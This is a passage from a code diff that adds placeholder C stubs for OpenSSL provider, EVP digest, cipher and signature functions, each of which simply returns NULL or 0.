* opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_verify_fn * OSSL_FUNC_signature_digest_verify(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_freectx_fn * OSSL_FUNC_signature_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_dupctx_fn * OSSL_FUNC_signature_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_get_ctx_params_fn * OSSL_FUNC_signature_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_gettable_ctx_params_fn * OSSL_FUNC_signature_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_set_ctx_params_fn * OSSL_FUNC_signature_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_settable_ctx_params_fn * OSSL_FUNC_signature_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_get_ctx_md_params_fn * OSSL_FUNC_signature_get_ctx_md_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_gettable_ctx_md_params_fn * OSSL_FUNC_signature_gettable_ctx_md_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_set_ctx_md_params_fn * OSSL_FUNC_signature_set_ctx_md_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_settable_ctx_md_params_fn * OSSL_FUNC_signature_settable_ctx_md_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_query_key_types_fn * OSSL_FUNC_signature_query_key_types(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_free_fn * OSSL_FUNC_skeymgmt_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_imp_settable_params_fn * OSSL_FUNC_skeymgmt_imp_settable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_import_fn * OSSL_FUNC_skeymgmt_import(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_export_fn * OSSL_FUNC_skeymgmt_export(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_gen_settable_params_fn * OSSL_FUNC_skeymgmt_gen_settable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_generate_fn * OSSL_FUNC_skeymgmt_generate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_skeymgmt_get_key_id_fn * OSSL_FUNC_skeymgmt_get_key_id(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_newctx_fn * OSSL_FUNC_asym_cipher_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_encrypt_init_fn * OSSL_FUNC_asym_cipher_encrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_encrypt_fn * OSSL_FUNC_asym_cipher_encrypt(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_decrypt_init_fn * OSSL_FUNC_asym_cipher_decrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_decrypt_fn * OSSL_FUNC_asym_cipher_decrypt(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_freectx_fn * OSSL_FUNC_asym_cipher_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_dupctx_fn * OSSL_FUNC_asym_cipher_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_get_ctx_params_fn * OSSL_FUNC_asym_cipher_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_gettable_ctx_params_fn * OSSL_FUNC_asym_cipher_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_set_ctx_params_fn * OSSL_FUNC_asym_cipher_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_asym_cipher_settable_ctx_params_fn * OSSL_FUNC_asym_cipher_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_newctx_fn * OSSL_FUNC_kem_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_encapsulate_init_fn * OSSL_FUNC_kem_encapsulate_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_auth_encapsulate_init_fn * OSSL_FUNC_kem_auth_encapsulate_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_encapsulate_fn * OSSL_FUNC_kem_encapsulate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_decapsulate_init_fn * OSSL_FUNC_kem_decapsulate_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_auth_decapsulate_init_fn * OSSL_FUNC_kem_auth_decapsulate_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_decapsulate_fn * OSSL_FUNC_kem_decapsulate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_freectx_fn * OSSL_FUNC_kem_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_dupctx_fn * OSSL_FUNC_kem_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_get_ctx_params_fn * OSSL_FUNC_kem_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_gettable_ctx_params_fn * OSSL_FUNC_kem_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_set_ctx_params_fn * OSSL_FUNC_kem_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kem_settable_ctx_params_fn * OSSL_FUNC_kem_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_newctx_fn * OSSL_FUNC_encoder_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_freectx_fn * OSSL_FUNC_encoder_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_get_params_fn * OSSL_FUNC_encoder_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_gettable_params_fn * OSSL_FUNC_encoder_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_set_ctx_params_fn * OSSL_FUNC_encoder_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_settable_ctx_params_fn * OSSL_FUNC_encoder_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_does_selection_fn * OSSL_FUNC_encoder_does_selection(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_encode_fn * OSSL_FUNC_encoder_encode(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_import_object_fn * OSSL_FUNC_encoder_import_object(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_encoder_free_object_fn * OSSL_FUNC_encoder_free_object(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_newctx_fn * OSSL_FUNC_decoder_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_freectx_fn * OSSL_FUNC_decoder_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_get_params_fn * OSSL_FUNC_decoder_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_gettable_params_fn * OSSL_FUNC_decoder_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_set_ctx_params_fn * OSSL_FUNC_decoder_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_settable_ctx_params_fn * OSSL_FUNC_decoder_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_does_selection_fn * OSSL_FUNC_decoder_does_selection(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_decode_fn * OSSL_FUNC_decoder_decode(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_decoder_export_object_fn * OSSL_FUNC_decoder_export_object(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_open_fn * OSSL_FUNC_store_open(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_attach_fn * OSSL_FUNC_store_attach(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_settable_ctx_params_fn * OSSL_FUNC_store_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_set_ctx_params_fn * OSSL_FUNC_store_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_load_fn * OSSL_FUNC_store_load(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_eof_fn * OSSL_FUNC_store_eof(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_close_fn * OSSL_FUNC_store_close(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_export_object_fn * OSSL_FUNC_store_export_object(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_delete_fn * OSSL_FUNC_store_delete(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_store_open_ex_fn * OSSL_FUNC_store_open_ex(const OSSL_DISPATCH * opf) { + return NULL; +} + +int EVP_set_default_properties(OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +char * EVP_get1_default_properties(OSSL_LIB_CTX * libctx) { + return NULL; +} + +int EVP_default_properties_is_fips_enabled(OSSL_LIB_CTX * libctx) { + return 0; +} + +int EVP_default_properties_enable_fips(OSSL_LIB_CTX * libctx, int enable) { + return 0; +} + +EVP_MD * EVP_MD_meth_new(int md_type, int pkey_type) { + return NULL; +} + +EVP_MD * EVP_MD_meth_dup(const EVP_MD * md) { + return NULL; +} + +void EVP_MD_meth_free(EVP_MD * md) ; + + +int EVP_MD_meth_set_input_blocksize(EVP_MD * md, int blocksize) { + return 0; +} + +int EVP_MD_meth_set_result_size(EVP_MD * md, int resultsize) { + return 0; +} + +int EVP_MD_meth_set_app_datasize(EVP_MD * md, int datasize) { + return 0; +} + +int EVP_MD_meth_set_flags(EVP_MD * md, unsigned long flags) { + return 0; +} + +int EVP_MD_meth_set_init(EVP_MD * md, int (*init)(EVP_MD_CTX *)) { + return 0; +} + +int EVP_MD_meth_set_update(EVP_MD * md, int (*update)(EVP_MD_CTX *, const void *, size_t)) { + return 0; +} + +int EVP_MD_meth_set_final(EVP_MD * md, int (*final)(EVP_MD_CTX *, unsigned char *)) { + return 0; +} + +int EVP_MD_meth_set_copy(EVP_MD * md, int (*copy)(EVP_MD_CTX *, const EVP_MD_CTX *)) { + return 0; +} + +int EVP_MD_meth_set_cleanup(EVP_MD * md, int (*cleanup)(EVP_MD_CTX *)) { + return 0; +} + +int EVP_MD_meth_set_ctrl(EVP_MD * md, int (*ctrl)(EVP_MD_CTX *, int, int, void *)) { + return 0; +} + +int EVP_MD_meth_get_input_blocksize(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_result_size(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_app_datasize(const EVP_MD * md) { + return 0; +} + +unsigned long EVP_MD_meth_get_flags(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_init(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_update(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_final(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_copy(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_cleanup(const EVP_MD * md) { + return 0; +} + +int EVP_MD_meth_get_ctrl(const EVP_MD * md) { + return 0; +} + +EVP_CIPHER * EVP_CIPHER_meth_new(int cipher_type, int block_size, int key_len) { + return NULL; +} + +EVP_CIPHER * EVP_CIPHER_meth_dup(const EVP_CIPHER * cipher) { + return NULL; +} + +void EVP_CIPHER_meth_free(EVP_CIPHER * cipher) ; + + +int EVP_CIPHER_meth_set_iv_length(EVP_CIPHER * cipher, int iv_len) { + return 0; +} + +int EVP_CIPHER_meth_set_flags(EVP_CIPHER * cipher, unsigned long flags) { + return 0; +} + +int EVP_CIPHER_meth_set_impl_ctx_size(EVP_CIPHER * cipher, int ctx_size) { + return 0; +} + +int EVP_CIPHER_meth_set_init(EVP_CIPHER * cipher, int (*init)(EVP_CIPHER_CTX *, const unsigned char *, const unsigned char *, int)) { + return 0; +} + +int EVP_CIPHER_meth_set_do_cipher(EVP_CIPHER * cipher, int (*do_cipher)(EVP_CIPHER_CTX *, unsigned char *, const unsigned char *, size_t)) { + return 0; +} + +int EVP_CIPHER_meth_set_cleanup(EVP_CIPHER * cipher, int (*cleanup)(EVP_CIPHER_CTX *)) { + return 0; +} + +int EVP_CIPHER_meth_set_set_asn1_params(EVP_CIPHER * cipher, int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *)) { + return 0; +} + +int EVP_CIPHER_meth_set_get_asn1_params(EVP_CIPHER * cipher, int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *)) { + return 0; +} + +int EVP_CIPHER_meth_set_ctrl(EVP_CIPHER * cipher, int (*ctrl)(EVP_CIPHER_CTX *, int, int, void *)) { + return 0; +} + +int EVP_CIPHER_meth_get_init(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_meth_get_do_cipher(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_meth_get_cleanup(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_meth_get_set_asn1_params(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_meth_get_get_asn1_params(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_meth_get_ctrl(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_MD_get_type(const EVP_MD * md) { + return 0; +} + +const char * EVP_MD_get0_name(const EVP_MD * md) { + return NULL; +} + +const char * EVP_MD_get0_description(const EVP_MD * md) { + return NULL; +} + +int EVP_MD_is_a(const EVP_MD * md, const char * name) { + return 0; +} + +int EVP_MD_names_do_all(const EVP_MD * md, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PROVIDER * EVP_MD_get0_provider(const EVP_MD * md) { + return NULL; +} + +int EVP_MD_get_pkey_type(const EVP_MD * md) { + return 0; +} + +int EVP_MD_get_size(const EVP_MD * md) { + return 0; +} + +int EVP_MD_get_block_size(const EVP_MD * md) { + return 0; +} + +unsigned long EVP_MD_get_flags(const EVP_MD * md) { + return 0; +} + +int EVP_MD_xof(const EVP_MD * md) { + return 0; +} + +const EVP_MD * EVP_MD_CTX_get0_md(const EVP_MD_CTX * ctx) { + return NULL; +} + +EVP_MD * EVP_MD_CTX_get1_md(EVP_MD_CTX * ctx) { + return NULL; +} + +const EVP_MD * EVP_MD_CTX_md(const EVP_MD_CTX * ctx) { + return NULL; +} + +int EVP_MD_CTX_update_fn(EVP_MD_CTX * ctx) { + return 0; +} + +void EVP_MD_CTX_set_update_fn(EVP_MD_CTX * ctx, int (*update)(EVP_MD_CTX *, const void *, size_t)) ; + + +int EVP_MD_CTX_get_size_ex(const EVP_MD_CTX * ctx) { + return 0; +} + +EVP_PKEY_CTX * EVP_MD_CTX_get_pkey_ctx(const EVP_MD_CTX * ctx) { + return NULL; +} + +void EVP_MD_CTX_set_pkey_ctx(EVP_MD_CTX * ctx, EVP_PKEY_CTX * pctx) ; + + +void * EVP_MD_CTX_get0_md_data(const EVP_MD_CTX * ctx) { + return NULL; +} + +int EVP_CIPHER_get_nid(const EVP_CIPHER * cipher) { + return 0; +} + +const char * EVP_CIPHER_get0_name(const EVP_CIPHER * cipher) { + return NULL; +} + +const char * EVP_CIPHER_get0_description(const EVP_CIPHER * cipher) { + return NULL; +} + +int EVP_CIPHER_is_a(const EVP_CIPHER * cipher, const char * name) { + return 0; +} + +int EVP_CIPHER_names_do_all(const EVP_CIPHER * cipher, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PROVIDER * EVP_CIPHER_get0_provider(const EVP_CIPHER * cipher) { + return NULL; +} + +int EVP_CIPHER_get_block_size(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_impl_ctx_size(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_get_key_length(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_get_iv_length(const EVP_CIPHER * cipher) { + return 0; +} + +unsigned long EVP_CIPHER_get_flags(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_get_mode(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_CIPHER_get_type(const EVP_CIPHER * cipher) { + return 0; +} + +EVP_CIPHER * EVP_CIPHER_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_CIPHER_can_pipeline(const EVP_CIPHER * cipher, int enc) { + return 0; +} + +int EVP_CIPHER_up_ref(EVP_CIPHER * cipher) { + return 0; +} + +void EVP_CIPHER_free(EVP_CIPHER * cipher) ; + + +const EVP_CIPHER * EVP_CIPHER_CTX_get0_cipher(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +EVP_CIPHER * EVP_CIPHER_CTX_get1_cipher(EVP_CIPHER_CTX * ctx) { + return NULL; +} + +int EVP_CIPHER_CTX_is_encrypting(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_get_nid(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_get_block_size(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_get_key_length(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_get_iv_length(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_get_tag_length(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +const EVP_CIPHER * EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +const unsigned char * EVP_CIPHER_CTX_iv(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +const unsigned char * EVP_CIPHER_CTX_original_iv(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +unsigned char * EVP_CIPHER_CTX_iv_noconst(EVP_CIPHER_CTX * ctx) { + return NULL; +} + +int EVP_CIPHER_CTX_get_updated_iv(EVP_CIPHER_CTX * ctx, void * buf, size_t len) { + return 0; +} + +int EVP_CIPHER_CTX_get_original_iv(EVP_CIPHER_CTX * ctx, void * buf, size_t len) { + return 0; +} + +unsigned char * EVP_CIPHER_CTX_buf_noconst(EVP_CIPHER_CTX * ctx) { + return NULL; +} + +int EVP_CIPHER_CTX_get_num(const EVP_CIPHER_CTX * ctx) { + return 0; +} + +int EVP_CIPHER_CTX_set_num(EVP_CIPHER_CTX * ctx, int num) { + return 0; +} + +EVP_CIPHER_CTX * EVP_CIPHER_CTX_dup(const EVP_CIPHER_CTX * in) { + return NULL; +} + +int EVP_CIPHER_CTX_copy(EVP_CIPHER_CTX * out, const EVP_CIPHER_CTX * in) { + return 0; +} + +void * EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX * ctx, void * data) ; + + +void * EVP_CIPHER_CTX_get_cipher_data(const EVP_CIPHER_CTX * ctx) { + return NULL; +} + +void * EVP_CIPHER_CTX_set_cipher_data(EVP_CIPHER_CTX * ctx, void * cipher_data) { + return NULL; +} + +int EVP_Cipher(EVP_CIPHER_CTX * c, unsigned char * out, const unsigned char * in, unsigned int inl) { + return 0; +} + +int EVP_MD_get_params(const EVP_MD * digest, OSSL_PARAM * params) { + return 0; +} + +int EVP_MD_CTX_set_params(EVP_MD_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_MD_CTX_get_params(EVP_MD_CTX * ctx, OSSL_PARAM * params) { + return 0; +} + +const OSSL_PARAM * EVP_MD_gettable_params(const EVP_MD * digest) { + return NULL; +} + +const OSSL_PARAM * EVP_MD_settable_ctx_params(const EVP_MD * md) { + return NULL; +} + +const OSSL_PARAM * EVP_MD_gettable_ctx_params(const EVP_MD * md) { + return NULL; +} + +const OSSL_PARAM * EVP_MD_CTX_settable_params(EVP_MD_CTX * ctx) { + return NULL; +} + +const OSSL_PARAM * EVP_MD_CTX_gettable_params(EVP_MD_CTX * ctx) { + return NULL; +} + +int EVP_MD_CTX_ctrl(EVP_MD_CTX * ctx, int cmd, int p1, void * p2) { + return 0; +} + +EVP_MD_CTX * EVP_MD_CTX_new(void) { + return NULL; +} + +int EVP_MD_CTX_reset(EVP_MD_CTX * ctx) { + return 0; +} + +void EVP_MD_CTX_free(EVP_MD_CTX * ctx) ; + + +EVP_MD_CTX * EVP_MD_CTX_dup(const EVP_MD_CTX * in) { + return NULL; +} + +int EVP_MD_CTX_copy_ex(EVP_MD_CTX * out, const EVP_MD_CTX * in) { + return 0; +} + +void EVP_MD_CTX_set_flags(EVP_MD_CTX * ctx, int flags) ; + + +void EVP_MD_CTX_clear_flags(EVP_MD_CTX * ctx, int flags) ; + + +int EVP_MD_CTX_test_flags(const EVP_MD_CTX * ctx, int flags) { + return 0; +} + +int EVP_DigestInit_ex2(EVP_MD_CTX * ctx, const EVP_MD * type, const OSSL_PARAM * params) { + return 0; +} + +int EVP_DigestInit_ex(EVP_MD_CTX * ctx, const EVP_MD * type, ENGINE * impl) { + return 0; +} + +int EVP_DigestUpdate(EVP_MD_CTX * ctx, const void * d, size_t cnt) { + return 0; +} + +int EVP_DigestFinal_ex(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s) { + return 0; +} + +int EVP_Digest(const void * data, size_t count, unsigned char * md, unsigned int * size, const EVP_MD * type, ENGINE * impl) { + return 0; +} + +int EVP_Q_digest(OSSL_LIB_CTX * libctx, const char * name, const char * propq, const void * data, size_t datalen, unsigned char * md, size_t * mdlen) { + return 0; +} + +int EVP_MD_CTX_copy(EVP_MD_CTX * out, const EVP_MD_CTX * in) { + return 0; +} + +int EVP_DigestInit(EVP_MD_CTX * ctx, const EVP_MD * type) { + return 0; +} + +int EVP_DigestFinal(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s) { + return 0; +} + +int EVP_DigestFinalXOF(EVP_MD_CTX * ctx, unsigned char * out, size_t outlen) { + return 0; +} + +int EVP_DigestSqueeze(EVP_MD_CTX * ctx, unsigned char * out, size_t outlen) { + return 0; +} + +EVP_MD * EVP_MD_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_MD_up_ref(EVP_MD * md) { + return 0; +} + +void EVP_MD_free(EVP_MD * md) ; + + +int EVP_read_pw_string(char * buf, int length, const char * prompt, int verify) { + return 0; +} + +int EVP_read_pw_string_min(char * buf, int minlen, int maxlen, const char * prompt, int verify) { + return 0; +} + +void EVP_set_pw_prompt(const char * prompt) ; + + +char * EVP_get_pw_prompt(void) { + return NULL; +} + +int EVP_BytesToKey(const EVP_CIPHER * type, const EVP_MD * md, const unsigned char * salt, const unsigned char * data, int datal, int count, unsigned char * key, unsigned char * iv) { + return 0; +} + +void EVP_CIPHER_CTX_set_flags(EVP_CIPHER_CTX * ctx, int flags) ; + + +void EVP_CIPHER_CTX_clear_flags(EVP_CIPHER_CTX * ctx, int flags) ; + + +int EVP_CIPHER_CTX_test_flags(const EVP_CIPHER_CTX * ctx, int flags) { + return 0; +} + +int EVP_EncryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv) { + return 0; +} + +int EVP_EncryptInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv) { + return 0; +} + +int EVP_EncryptInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, const OSSL_PARAM * params) { + return 0; +} + +int EVP_EncryptUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { + return 0; +} + +int EVP_EncryptFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { + return 0; +} + +int EVP_EncryptFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { + return 0; +} + +int EVP_DecryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv) { + return 0; +} + +int EVP_DecryptInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv) { + return 0; +} + +int EVP_DecryptInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, const OSSL_PARAM * params) { + return 0; +} + +int EVP_DecryptUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { + return 0; +} + +int EVP_DecryptFinal(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { + return 0; +} + +int EVP_DecryptFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { + return 0; +} + +int EVP_CipherInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, int enc) { + return 0; +} + +int EVP_CipherInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv, int enc) { + return 0; +} + +int EVP_CipherInit_SKEY(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, EVP_SKEY * skey, const unsigned char * iv, size_t iv_len, int enc, const OSSL_PARAM * params) { + return 0; +} + +int EVP_CipherInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, int enc, const OSSL_PARAM * params) { + return 0; +} + +int EVP_CipherUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { + return 0; +} + +int EVP_CipherFinal(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { + return 0; +} + +int EVP_CipherPipelineEncryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, size_t keylen, size_t numpipes, const unsigned char ** iv, size_t ivlen) { + return 0; +} + +int EVP_CipherPipelineDecryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, size_t keylen, size_t numpipes, const unsigned char ** iv, size_t ivlen) { + return 0; +} + +int EVP_CipherPipelineUpdate(EVP_CIPHER_CTX * ctx, unsigned char ** out, size_t * outl, const size_t * outsize, const unsigned char ** in, const size_t * inl) { + return 0; +} + +int EVP_CipherPipelineFinal(EVP_CIPHER_CTX * ctx, unsigned char ** outm, size_t * outl, const size_t * outsize) { + return 0; +} + +int EVP_CipherFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { + return 0; +} + +int EVP_SignFinal(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s, EVP_PKEY * pkey) { + return 0; +} + +int EVP_SignFinal_ex(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s, EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +int EVP_DigestSign(EVP_MD_CTX * ctx, unsigned char * sigret, size_t * siglen, const unsigned char * tbs, size_t tbslen) { + return 0; +} + +int EVP_VerifyFinal(EVP_MD_CTX * ctx, const unsigned char * sigbuf, unsigned int siglen, EVP_PKEY * pkey) { + return 0; +} + +int EVP_VerifyFinal_ex(EVP_MD_CTX * ctx, const unsigned char * sigbuf, unsigned int siglen, EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * propq) { + return 0; +} + +int EVP_DigestVerify(EVP_MD_CTX * ctx, const unsigned char * sigret, size_t siglen, const unsigned char * tbs, size_t tbslen) { + return 0; +} + +int EVP_DigestSignInit_ex(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const char * mdname, OSSL_LIB_CTX * libctx, const char * props, EVP_PKEY * pkey, const OSSL_PARAM * params) { + return 0; +} + +int EVP_DigestSignInit(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const EVP_MD * type, ENGINE * e, EVP_PKEY * pkey) { + return 0; +} + +int EVP_DigestSignUpdate(EVP_MD_CTX * ctx, const void * data, size_t dsize) { + return 0; +} + +int EVP_DigestSignFinal(EVP_MD_CTX * ctx, unsigned char * sigret, size_t * siglen) { + return 0; +} + +int EVP_DigestVerifyInit_ex(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const char * mdname, OSSL_LIB_CTX * libctx, const char * props, EVP_PKEY * pkey, const OSSL_PARAM * params) { + return 0; +} + +int EVP_DigestVerifyInit(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const EVP_MD * 